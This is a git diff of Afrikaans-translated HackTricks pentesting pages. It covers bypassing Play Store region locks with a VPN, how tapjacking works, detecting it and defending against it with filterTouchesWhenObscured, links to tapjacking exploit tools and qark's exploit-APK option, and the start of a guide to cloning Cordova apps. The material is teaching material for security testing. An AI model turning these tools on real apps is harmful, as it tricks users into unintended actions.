@ -217,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
|||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,59 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
In situasies waar 'n toepassing beperk is tot sekere lande en jy dit nie op jou Android-toestel kan installeer nie as gevolg van streekbeperkings, kan die vervalsing van jou ligging na 'n land waar die toepassing beskikbaar is, jou toegang verleen. Die stappe hieronder beskryf hoe om dit te doen:
|
||||
In situasies waar 'n toepassing beperk is tot sekere lande, en jy nie in staat is om dit op jou Android-toestel te installeer weens regionale beperkings nie, kan dit jou toegang gee om jou ligging na 'n land waar die toepassing beskikbaar is, te spoof. Die stappe hieronder beskryf hoe om dit te doen:
|
||||
|
||||
1. **Installeer Hotspot Shield Free VPN Proxy:**
|
||||
- Begin deur die Hotspot Shield Free VPN Proxy van die Google Play Store af te laai en te installeer.
|
||||
- Begin deur die Hotspot Shield Free VPN Proxy van die Google Play Store af te aflaai en te installeer.
|
||||
|
||||
2. **Koppel aan 'n VPN-bediener:**
|
||||
2. **Verbind met 'n VPN-bediener:**
|
||||
- Maak die Hotspot Shield-toepassing oop.
|
||||
- Koppel aan 'n VPN-bediener deur die land te kies waar die toepassing wat jy wil toegang tot verkry, beskikbaar is.
|
||||
- Verbind met 'n VPN-bediener deur die land te kies waar die toepassing wat jy wil toegang hê, beskikbaar is.
|
||||
|
||||
3. **Maak Google Play Store-data skoon:**
|
||||
- Navigeer na jou toestel se **Instellings**.
|
||||
- Gaan voort na **Toepassings** of **Toepassingsbestuurder** (dit kan verskil afhangende van jou toestel).
|
||||
- Gaan na jou toestel se **Instellings**.
|
||||
- Gaan voort na **Apps** of **Toepassingbestuurder** (dit kan verskil, afhangende van jou toestel).
|
||||
- Vind en kies **Google Play Store** uit die lys van toepassings.
|
||||
- Tik op **Gedwonge Stop** om enige lopende prosesse van die toepassing te beëindig.
|
||||
- Tik dan op **Data skoonmaak** of **Stoor skoonmaak** (die presiese bewoording kan verskil) om die Google Play Store-toepassing na sy verstektoestand te herstel.
|
||||
- Tik op **Force Stop** om enige lopende prosesse van die toepassing te beëindig.
|
||||
- Tik dan op **Clear Data** of **Clear Storage** (die presiese woorde kan verskil) om die Google Play Store-toepassing na sy standaardtoestand te herstel.
|
||||
|
||||
4. **Kry toegang tot die beperkte toepassing:**
|
||||
4. **Toegang die Beperkte Toepassing:**
|
||||
- Maak die **Google Play Store** oop.
|
||||
- Die winkel moet nou die inhoud van die land weerspieël waaraan jy gekoppel het via die VPN.
|
||||
- Jy behoort die toepassing wat voorheen nie beskikbaar was in jou werklike ligging te kan soek en installeer.
|
||||
- Die winkel behoort nou die inhoud van die land te reflekteer waarmee jy via die VPN verbind het.
|
||||
- Jy behoort in staat te wees om die toepassing te soek en te installeer wat voorheen nie in jou werklike ligging beskikbaar was nie.
|
||||
|
||||
### Belangrike Notas:
|
||||
- Die doeltreffendheid van hierdie metode kan wissel op grond van verskeie faktore, insluitend die betroubaarheid van die VPN-diens en die spesifieke streekbeperkings wat deur die toepassing opgelê word.
|
||||
- Die gereelde gebruik van 'n VPN kan die prestasie van sommige toepassings en dienste beïnvloed.
|
||||
- Wees bewus van die diensvoorwaardes vir enige toepassing of diens wat jy gebruik, aangesien die gebruik van 'n VPN om streekbeperkings te omseil, hierdie voorwaardes mag oortree.
|
||||
### Belangrike Aantekeninge:
|
||||
- Die doeltreffendheid van hierdie metode kan verskil op grond van verskeie faktore, insluitend die betroubaarheid van die VPN-diens en die spesifieke regionale beperkings wat deur die toepassing opgelê word.
|
||||
- Gereelde gebruik van 'n VPN kan die prestasie van sommige toepassings en dienste beïnvloed.
|
||||
- Wees bewus van die diensvoorwaardes vir enige toepassing of diens wat jy gebruik, aangesien die gebruik van 'n VPN om regionale beperkings te omseil, daardie voorwaardes kan oortree.
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,47 +1,48 @@
|
|||
# Tapjacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Basiese Inligting**
|
||||
## **Basic Information**
|
||||
|
||||
**Tapjacking** is 'n aanval waar 'n **boosaardige aansoek** bekendgestel word en **bo-op 'n slagoffer-aansoek posisioneer**. Sodra dit die slagoffer-aansoek sigbaar verduister, is sy gebruikerskoppelvlak ontwerp op so 'n manier dat dit die gebruiker mislei om daarmee te interaksieer, terwyl dit die interaksie na die slagoffer-aansoek deurgee.\
|
||||
In werklikheid **verblind dit die gebruiker om te weet dat hulle eintlik handelinge op die slagoffer-aansoek uitvoer**.
|
||||
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
|
||||
In werklikheid, dit is **blind die gebruiker van die kennis dat hulle eintlik aksies op die slagoffer app uitvoer**.
|
||||
|
||||
### Opname
|
||||
### Detection
|
||||
|
||||
Om programme wat vatbaar is vir hierdie aanval op te spoor, moet jy soek na **uitgevoerde aktiwiteite** in die Android-manifes (let daarop dat 'n aktiwiteit met 'n intent-filter outomaties uitgevoer word per verstek). Sodra jy die uitgevoerde aktiwiteite gevind het, **kontroleer of hulle enige toestemming benodig**. Dit is omdat die **boosaardige aansoek ook daardie toestemming nodig sal hê**.
|
||||
Om toepassings wat kwesbaar is vir hierdie aanval te ontdek, moet jy soek na **geëksporteerde aktiwiteite** in die android manifest (let daarop dat 'n aktiwiteit met 'n intent-filter outomaties geëksporteer word as standaard). Sodra jy die geëksporteerde aktiwiteite gevind het, **kyk of hulle enige toestemming vereis**. Dit is omdat die **kwaadwillige toepassing daardie toestemming ook nodig sal hê**.
|
||||
|
||||
### Beskerming
|
||||
### Protection
|
||||
|
||||
#### Android 12 (API 31,32) en hoër
|
||||
|
||||
[**Volgens hierdie bron**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** word tapjacking-aanvalle outomaties voorkom deur Android van Android 12 (API 31 & 30) en hoër. Dus, selfs as die aansoek vatbaar is, sal jy dit **nie kan uitbuit nie**.
|
||||
[**Volgens hierdie bron**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking-aanvalle word outomaties deur Android van Android 12 (API 31 & 30) en hoër voorkom. So, selfs al is die toepassing kwesbaar, **sal jy dit nie kan benut nie**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
As **`android:filterTouchesWhenObscured`** op **`true`** ingestel is, sal die `View` nie aanrakings ontvang wanneer die venster van die aansig deur 'n ander sigbare venster verduister word nie.
|
||||
As **`android:filterTouchesWhenObscured`** op **`true`** gestel is, sal die `View` nie aanrakinge ontvang wanneer die venster van die view deur 'n ander sigbare venster obscuur word nie.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
Die eienskap **`setFilterTouchesWhenObscured`** wat op true ingestel is, kan ook die uitbuiting van hierdie kwesbaarheid voorkom as die Android-weergawe laer is.\
|
||||
Indien op **`true`** ingestel, kan byvoorbeeld 'n knoppie outomaties **deaktiveer word as dit verduister word**:
|
||||
Die attribuut **`setFilterTouchesWhenObscured`** wat op true gestel is, kan ook die benutting van hierdie kwesbaarheid voorkom as die Android weergawe laer is.\
|
||||
As dit op **`true`** gestel is, kan 'n knoppie byvoorbeeld outomaties **gedeaktiveer word as dit obscuur is**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -50,46 +51,47 @@ android:layout_height="wrap_content"
|
|||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
## Uitbuiting
|
||||
## Exploitation
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
Die mees **onlangse Android-toepassing** wat 'n Tapjacking-aanval uitvoer (+ aanroeping voor 'n uitgevoerde aktiwiteit van die aangevalle toepassing) kan gevind word op: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
Die mees **onlangs Android-toepassing** wat 'n Tapjacking-aanval uitvoer (+ aanroep voor 'n geexporteerde aktiwiteit van die aangevalde toepassing) kan gevind word in: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Volg die **README-instruksies om dit te gebruik**.
|
||||
Volg die **README instruksies om dit te gebruik**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
'n Voorbeeldprojek wat **FloatingWindowApp** implementeer, wat gebruik kan word om bo-op ander aktiwiteite te plaas vir 'n kliek-aanval, kan gevind word in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (bietjie oud, sterkte met die bou van die apk).
|
||||
'n Voorbeeldprojek wat **FloatingWindowApp** implementeer, wat gebruik kan word om bo ander aktiwiteite te plaas om 'n clickjacking-aanval uit te voer, kan gevind word in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (bietjie oud, sterkte met die bou van die apk).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dit lyk asof hierdie projek nou nie meer onderhou word nie en hierdie funksionaliteit werk nie meer behoorlik nie
|
||||
Dit lyk of hierdie projek nou nie meer onderhou word nie en hierdie funksionaliteit werk nie meer behoorlik nie
|
||||
{% endhint %}
|
||||
|
||||
Jy kan [**qark**](https://github.com/linkedin/qark) gebruik met die `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parameters om 'n skadelike aansoek te skep om vir moontlike **Tapjacking** kwesbaarhede te toets.
|
||||
Jy kan [**qark**](https://github.com/linkedin/qark) gebruik met die `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parameters om 'n kwaadwillige toepassing te skep om vir moontlike **Tapjacking** kwesbaarhede te toets.\
|
||||
|
||||
Die beperking is relatief eenvoudig aangesien die ontwikkelaar kan kies om nie aanrakinggebeure te ontvang wanneer 'n aansig bedek word deur 'n ander. Gebruik die [Android-ontwikkelaarsverwysing](https://developer.android.com/reference/android/view/View#security):
|
||||
Die mitigasie is relatief eenvoudig aangesien die ontwikkelaar kan kies om nie aanraakgebeurtenisse te ontvang wanneer 'n weergawe deur 'n ander bedek is nie. Gebruik die [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Soms is dit noodsaaklik dat 'n aansoek kan verifieer dat 'n aksie met die volle kennis en toestemming van die gebruiker uitgevoer word, soos die toestaan van 'n toestemmingversoek, 'n aankoop doen of op 'n advertensie klik. Ongelukkig kan 'n skadelike aansoek probeer om die gebruiker te mislei om hierdie aksies uit te voer, sonder om bewus te wees, deur die beoogde doel van die aansig te verberg. As 'n remedie bied die raamwerk 'n aanrakingsfiltermeganisme wat gebruik kan word om die sekuriteit van aansigte wat toegang tot sensitiewe funksionaliteit bied, te verbeter.
|
||||
> Soms is dit noodsaaklik dat 'n toepassing in staat is om te verifieer dat 'n aksie uitgevoer word met die volle kennis en toestemming van die gebruiker, soos om 'n toestemming versoek toe te staan, 'n aankoop te doen of op 'n advertensie te klik. Ongelukkig kan 'n kwaadwillige toepassing probeer om die gebruiker te mislei om hierdie aksies uit te voer, sonder dat hulle daarvan bewus is, deur die beoogde doel van die weergawe te verberg. As 'n remedie bied die raamwerk 'n aanraakfiltrering meganisme wat gebruik kan word om die sekuriteit van weergawes wat toegang tot sensitiewe funksionaliteit bied, te verbeter.
|
||||
>
|
||||
> Om aanrakingsfiltering te aktiveer, roep [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) aan of stel die android:filterTouchesWhenObscured uitlegkenmerk in op waar. Wanneer dit geaktiveer is, sal die raamwerk aanrakings verwerp wat ontvang word wanneer die aansig se venster deur 'n ander sigbare venster bedek word. As gevolg hiervan sal die aansig nie aanrakings ontvang wanneer 'n toebroodjie, dialoog of ander venster bo die aansig se venster verskyn nie.
|
||||
> Om aanraakfiltrering in te skakel, bel [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) of stel die android:filterTouchesWhenObscured uitleg eienskap op waar. Wanneer geaktiveer, sal die raamwerk aanrakings wat ontvang word wanneer die weergawe se venster deur 'n ander sigbare venster bedek is, verwerp. As gevolg hiervan sal die weergawe nie aanrakings ontvang wanneer 'n toast, dialoog of ander venster bo die weergawe se venster verskyn nie.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Cordova-toepassings
|
||||
# Cordova Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Vir verdere besonderhede, kyk na [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Hier is 'n opsomming:
|
||||
**Vir verdere besonderhede, kyk na [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Dit is 'n opsomming:
|
||||
|
||||
Apache Cordova word erken vir die moontlikheid om **hibriede toepassings** te ontwikkel met behulp van **JavaScript, HTML en CSS**. Dit maak die skep van Android- en iOS-toepassings moontlik; egter, dit het nie 'n verstek meganisme vir die beveiliging van die toepassing se bronkode nie. In teenstelling met React Native, kompileer Cordova nie die bronkode standaard nie, wat kan lei tot kode-manipulasie kwesbaarhede. Cordova maak gebruik van WebView om toepassings te vertoon, wat die HTML- en JavaScript-kode blootstel selfs nadat dit in APK- of IPA-lêers gekompileer is. Aan die ander kant gebruik React Native 'n JavaScript VM om JavaScript-kode uit te voer, wat beter bronkodebeskerming bied.
|
||||
Apache Cordova word erken vir die moontlikheid om **hibridetoepassings** te ontwikkel met **JavaScript, HTML, en CSS**. Dit maak die skepping van Android en iOS toepassings moontlik; egter, dit het nie 'n standaardmeganisme om die toepassings se bronkode te beveilig nie. In teenstelling met React Native, kompileer Cordova nie die bronkode nie, wat kan lei tot kwesbaarhede in kodeverandering. Cordova gebruik WebView om toepassings te render, wat die HTML en JavaScript kode blootstel selfs nadat dit in APK of IPA lêers gekompileer is. React Native, aan die ander kant, gebruik 'n JavaScript VM om JavaScript kode uit te voer, wat beter beskerming van die bronkode bied.
|
||||
|
||||
### Kloning van 'n Cordova-toepassing
|
||||
### Kloning van 'n Cordova Toepassing
|
||||
|
||||
Voordat jy 'n Cordova-toepassing kloon, verseker dat NodeJS geïnstalleer is, tesame met ander vereistes soos die Android SDK, Java JDK en Gradle. Die amptelike Cordova [dokumentasie](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) bied 'n omvattende gids vir hierdie installasies.
|
||||
Voordat jy 'n Cordova toepassing kloon, verseker dat NodeJS geïnstalleer is saam met ander vereistes soos die Android SDK, Java JDK, en Gradle. Die amptelike Cordova [dokumentasie](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) bied 'n omvattende gids vir hierdie installasies.
|
||||
|
||||
